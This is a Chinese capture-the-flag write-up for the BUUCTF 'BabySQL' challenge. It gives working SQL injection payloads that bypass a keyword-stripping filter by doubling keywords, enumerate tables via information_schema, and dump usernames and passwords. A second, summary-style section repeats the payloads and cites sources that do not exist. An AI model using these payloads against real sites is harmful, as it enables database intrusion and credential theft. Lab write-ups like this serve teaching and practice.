BUUCTF [极客大挑战 2019]BabySQL 1sql注入

BUUCTF [极客大挑战 2019]BabySQL 1

进去后是这样:
在这里插入图片描述
还是熟悉的配方,还是熟悉的味道。
题目就是sql注入,就不检测是否有注入点了。
输入1' or 1=1;#
在这里插入图片描述
emmm…暂时看不懂什么意思
现在就可以胡乱的输入一些注入语句了。发现报错都是部分输入的语句,这说明没报错的语句没了,或者替换掉了,对,没错,可能是用replace函数换成空了。
现在证实这个猜想。在username输入1'%23就是1'#的意思:
在这里插入图片描述
用户名密码错误!说明我们的sql语句1'#是可执行的,也就是说之前的报错就是有什么的东西把我们的sql语句弄错,结合报错,可认为是替换成空
进一步证实:输入1' oorr 1=1;后面的%23不用动,因为中间的or被替换成空,剩下的还是or,结合起来是1' or 1=1;。结果如下
在这里插入图片描述
猜想正确,接下来就是标志步骤了,爆表,爆字段(列)
经过测试,暂时发现replace了or,from,where,select,and,by,union
输入:

?username=admin' oorrder bbyy 3;%23&password=1

在这里插入图片描述
输入:

?username=admin' oorrder bbyy 4;%23&password=1

在这里插入图片描述
说明有3列。
输入:

?username=1' uunionnion sselectelect 1,2,3;%23&password=1

在这里插入图片描述
说明回显在第2,3列。
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23&password=1

在这里插入图片描述先看b4bsql
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_schema=database() aandnd table_name='b4bsql' %23&password=1

b4bsql别忘了加引号
在这里插入图片描述
有三列,继续。
输入:

?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1

在这里插入图片描述在这里插入图片描述

找到flag。

### 极客挑战 2019 BabySQL 比赛题目与解题思路 #### 背景介绍 极客挑战 2019BabySQL 是一道经典的 SQL 注入题目,主要考察选手对于 SQL 注入漏洞的理解以及如何利用 `UNION` 查询绕过简单的过滤机制。该题目涉及的关键技术点包括但不限于:列数匹配、表名推测、字段提取等。 --- #### 列数匹配与注入点确认 在本题中,输入参数被嵌套到 SQL 查询语句中的方式未经过充分验证,从而形成了潜在的注入风险。通过尝试构造恶意输入并观察返回结果的变化,可以定位注入点的位置。例如,在用户名输入框中提交如下测试字符串: ```plaintext ?username=1'&password=1 ``` 如果页面反馈异常,则说明存在注入可能。进一步地,为了确定目标查询的结果集列数,可以通过不断调整 `UNION SELECT` 后面跟随的常量数量来实现试探性攻击[^1]。 --- #### 表结构探测 一旦明确了前序查询所期望的列数目(假设为三),就可以着手探索数据库内部存储的具体布局情况了。具体操作方法之一便是借助 MySQL 自带的信息模式库——information_schema 来枚举指定表格内的所有可用列定义: ```sql 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='b4bsql' # ``` 上述命令片段的作用在于将实际存在的各字段名称串联成单一字符串形式以便于后续解析处理过程更加便捷高效[^3]。 --- #### 数据抽取阶段 当成功获取到了完整的 schema 描述之后,下一步自然是读取敏感资料本身。考虑到最终目的是窃取用户凭证组合 (id, username, password),故而执行下面所示的操作逻辑显得尤为合理恰当: ```sql 1' union select 1,2,group_concat(id,username,password) from b4bsql # ``` 此脚本能够有效地把整个记录集合压缩至单一行展示出来,极地简化了人工分析的工作负担。 --- #### 绕过简单字符替换防护措施 值得注意的是,主办方特意引入了一种朴素的安全防御策略—即针对某些特定关键字实施重复拼接变换(如将 "union" 替换成为 "uunionion") 。然而这种做法并不能从根本上杜绝威胁发生概率 ,因为只要了解其转换规则即可轻松还原原始意图表达式[^2]: ```plaintext ?username=1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql %23&password=1 ``` 在这里,“uunionnion” 和 “sselectelect” 实际上分别对应正常的 SQL 关键字“union” 及 “select”。 --- ### 总结 综上所述,解决这道 CTF 题目的核心要点涵盖了以下几个方面: - 准确识别出可利用之处; - 科学规划实验流程以推导必要元数据; - 巧妙规避基础层面的文字游戏型障碍物设置。 希望以上分享能对你有所帮助! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值